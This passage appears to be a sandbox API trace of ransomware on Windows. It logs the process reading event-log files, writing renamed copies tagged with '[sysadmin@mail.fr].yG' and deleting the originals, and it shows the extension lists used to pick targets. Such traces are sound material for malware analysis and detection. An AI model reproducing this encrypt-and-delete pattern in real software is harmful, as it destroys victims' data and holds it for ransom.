	[0046.988] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0047.027] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0047.028] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.028] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xfa, lpOverlapped=0x0) returned 1
	[0047.029] SetEndOfFile (hFile=0x2e0) returned 1
	[0047.029] CloseHandle (hObject=0x2e0) returned 1
	[0047.030] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.030] SetEndOfFile (hFile=0x2f8) returned 1
	[0047.032] CloseHandle (hObject=0x2f8) returned 1
	[0047.032] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.032] DeleteFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1
	[0047.032] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0047.032] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0047.032] lstrlenW (lpString=".doc") returned 4
	[0047.032] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.032] lstrlenW (lpString=".docx") returned 5
	[0047.032] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.032] lstrlenW (lpString=".pdf") returned 4
	[0047.032] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.032] lstrlenW (lpString=".xls") returned 4
	[0047.032] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.032] lstrlenW (lpString=".xlsx") returned 5
	[0047.032] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.033] lstrlenW (lpString=".ppt") returned 4
	[0047.033] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.033] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0047.033] lstrlenW (lpString=".zip") returned 4
	[0047.033] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.033] lstrlenW (lpString=".rar") returned 4
	[0047.033] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.033] lstrlenW (lpString=".bz2") returned 4
	[0047.033] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.033] lstrlenW (lpString=".7z") returned 3
	[0047.033] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.033] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0047.033] lstrlenW (lpString=".dbf") returned 4
	[0047.033] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.033] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0047.033] lstrlenW (lpString=".1cd") returned 4
	[0047.033] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.033] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0047.033] lstrlenW (lpString=".jpg") returned 4
	[0047.033] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.033] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0047.033] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0047.033] lstrlenW (lpString=".doc") returned 4
	[0047.033] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.033] lstrlenW (lpString=".docx") returned 5
	[0047.033] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.033] lstrlenW (lpString=".pdf") returned 4
	[0047.033] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.033] lstrlenW (lpString=".xls") returned 4
	[0047.033] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.033] lstrlenW (lpString=".xlsx") returned 5
	[0047.033] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.033] lstrlenW (lpString=".ppt") returned 4
	[0047.033] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.033] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0047.033] lstrlenW (lpString=".zip") returned 4
	[0047.033] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.034] lstrlenW (lpString=".rar") returned 4
	[0047.034] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.034] lstrlenW (lpString=".bz2") returned 4
	[0047.034] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.034] lstrlenW (lpString=".7z") returned 3
	[0047.034] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.034] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0047.034] lstrlenW (lpString=".dbf") returned 4
	[0047.034] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.034] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0047.034] lstrlenW (lpString=".1cd") returned 4
	[0047.034] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.034] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0047.034] lstrlenW (lpString=".jpg") returned 4
	[0047.034] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.034] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0047.034] lstrlenW (lpString="Key Management Service.evtx") returned 27
	[0047.034] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0047.034] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0047.034] CloseHandle (hObject=0x2f8) returned 1
	[0047.034] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20
	[0047.034] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.035] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0047.035] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.035] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.035] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0047.035] GetLastError () returned 0x0
	[0047.035] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0047.090] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0047.092] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.092] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x10a, lpOverlapped=0x0) returned 1
	[0047.092] SetEndOfFile (hFile=0x2e0) returned 1
	[0047.092] CloseHandle (hObject=0x2e0) returned 1
	[0047.094] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.094] SetEndOfFile (hFile=0x2f8) returned 1
	[0047.095] CloseHandle (hObject=0x2f8) returned 1
	[0047.095] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.095] DeleteFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1
	[0047.095] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0047.095] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0047.096] lstrlenW (lpString=".doc") returned 4
	[0047.096] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.096] lstrlenW (lpString=".docx") returned 5
	[0047.096] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.096] lstrlenW (lpString=".pdf") returned 4
	[0047.096] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.096] lstrlenW (lpString=".xls") returned 4
	[0047.096] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.096] lstrlenW (lpString=".xlsx") returned 5
	[0047.096] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.096] lstrlenW (lpString=".ppt") returned 4
	[0047.096] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.096] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0047.096] lstrlenW (lpString=".zip") returned 4
	[0047.096] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.096] lstrlenW (lpString=".rar") returned 4
	[0047.096] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.096] lstrlenW (lpString=".bz2") returned 4
	[0047.096] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.096] lstrlenW (lpString=".7z") returned 3
	[0047.096] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.096] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0047.096] lstrlenW (lpString=".dbf") returned 4
	[0047.096] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.096] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0047.096] lstrlenW (lpString=".1cd") returned 4
	[0047.096] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.096] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0047.096] lstrlenW (lpString=".jpg") returned 4
	[0047.096] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.096] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0047.096] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0047.096] lstrlenW (lpString=".doc") returned 4
	[0047.096] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.096] lstrlenW (lpString=".docx") returned 5
	[0047.096] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.097] lstrlenW (lpString=".pdf") returned 4
	[0047.097] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.097] lstrlenW (lpString=".xls") returned 4
	[0047.097] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.097] lstrlenW (lpString=".xlsx") returned 5
	[0047.097] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.097] lstrlenW (lpString=".ppt") returned 4
	[0047.097] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.097] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0047.097] lstrlenW (lpString=".zip") returned 4
	[0047.097] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.097] lstrlenW (lpString=".rar") returned 4
	[0047.097] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.097] lstrlenW (lpString=".bz2") returned 4
	[0047.097] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.097] lstrlenW (lpString=".7z") returned 3
	[0047.097] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.097] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0047.097] lstrlenW (lpString=".dbf") returned 4
	[0047.097] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.097] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0047.097] lstrlenW (lpString=".1cd") returned 4
	[0047.097] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.097] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0047.097] lstrlenW (lpString=".jpg") returned 4
	[0047.097] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.097] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0047.097] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47
	[0047.097] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0047.098] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0047.098] CloseHandle (hObject=0x2f8) returned 1
	[0047.098] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20
	[0047.098] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.098] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0047.098] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.098] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.098] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0047.106] GetLastError () returned 0x0
	[0047.106] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0047.188] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0047.189] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.190] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x132, lpOverlapped=0x0) returned 1
	[0047.190] SetEndOfFile (hFile=0x2e0) returned 1
	[0047.190] CloseHandle (hObject=0x2e0) returned 1
	[0047.191] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.191] SetEndOfFile (hFile=0x2f8) returned 1
	[0047.192] CloseHandle (hObject=0x2f8) returned 1
	[0047.193] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.193] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1
	[0047.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0047.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0047.193] lstrlenW (lpString=".doc") returned 4
	[0047.193] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.193] lstrlenW (lpString=".docx") returned 5
	[0047.193] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.193] lstrlenW (lpString=".pdf") returned 4
	[0047.193] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.193] lstrlenW (lpString=".xls") returned 4
	[0047.193] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.193] lstrlenW (lpString=".xlsx") returned 5
	[0047.193] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.193] lstrlenW (lpString=".ppt") returned 4
	[0047.193] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0047.193] lstrlenW (lpString=".zip") returned 4
	[0047.193] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.193] lstrlenW (lpString=".rar") returned 4
	[0047.194] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.194] lstrlenW (lpString=".bz2") returned 4
	[0047.194] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.194] lstrlenW (lpString=".7z") returned 3
	[0047.194] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0047.194] lstrlenW (lpString=".dbf") returned 4
	[0047.194] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0047.194] lstrlenW (lpString=".1cd") returned 4
	[0047.194] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0047.194] lstrlenW (lpString=".jpg") returned 4
	[0047.194] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0047.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0047.194] lstrlenW (lpString=".doc") returned 4
	[0047.194] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.194] lstrlenW (lpString=".docx") returned 5
	[0047.194] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.194] lstrlenW (lpString=".pdf") returned 4
	[0047.194] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.194] lstrlenW (lpString=".xls") returned 4
	[0047.194] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.194] lstrlenW (lpString=".xlsx") returned 5
	[0047.194] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.194] lstrlenW (lpString=".ppt") returned 4
	[0047.194] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.195] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0047.195] lstrlenW (lpString=".zip") returned 4
	[0047.195] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.195] lstrlenW (lpString=".rar") returned 4
	[0047.195] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.195] lstrlenW (lpString=".bz2") returned 4
	[0047.195] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.195] lstrlenW (lpString=".7z") returned 3
	[0047.195] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.195] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0047.195] lstrlenW (lpString=".dbf") returned 4
	[0047.195] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.195] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0047.195] lstrlenW (lpString=".1cd") returned 4
	[0047.195] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.195] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0047.195] lstrlenW (lpString=".jpg") returned 4
	[0047.195] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.195] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0047.195] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45
	[0047.195] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0047.196] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0047.196] CloseHandle (hObject=0x2f8) returned 1
	[0047.196] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20
	[0047.196] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.196] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0047.196] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.196] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.196] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0047.197] GetLastError () returned 0x0
	[0047.197] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0047.255] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0047.257] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.257] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x12e, lpOverlapped=0x0) returned 1
	[0047.257] SetEndOfFile (hFile=0x2e0) returned 1
	[0047.257] CloseHandle (hObject=0x2e0) returned 1
	[0047.261] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.261] SetEndOfFile (hFile=0x2f8) returned 1
	[0047.263] CloseHandle (hObject=0x2f8) returned 1
	[0047.263] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.263] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1
	[0047.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0047.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0047.264] lstrlenW (lpString=".doc") returned 4
	[0047.264] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.264] lstrlenW (lpString=".docx") returned 5
	[0047.264] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.264] lstrlenW (lpString=".pdf") returned 4
	[0047.264] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.264] lstrlenW (lpString=".xls") returned 4
	[0047.264] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
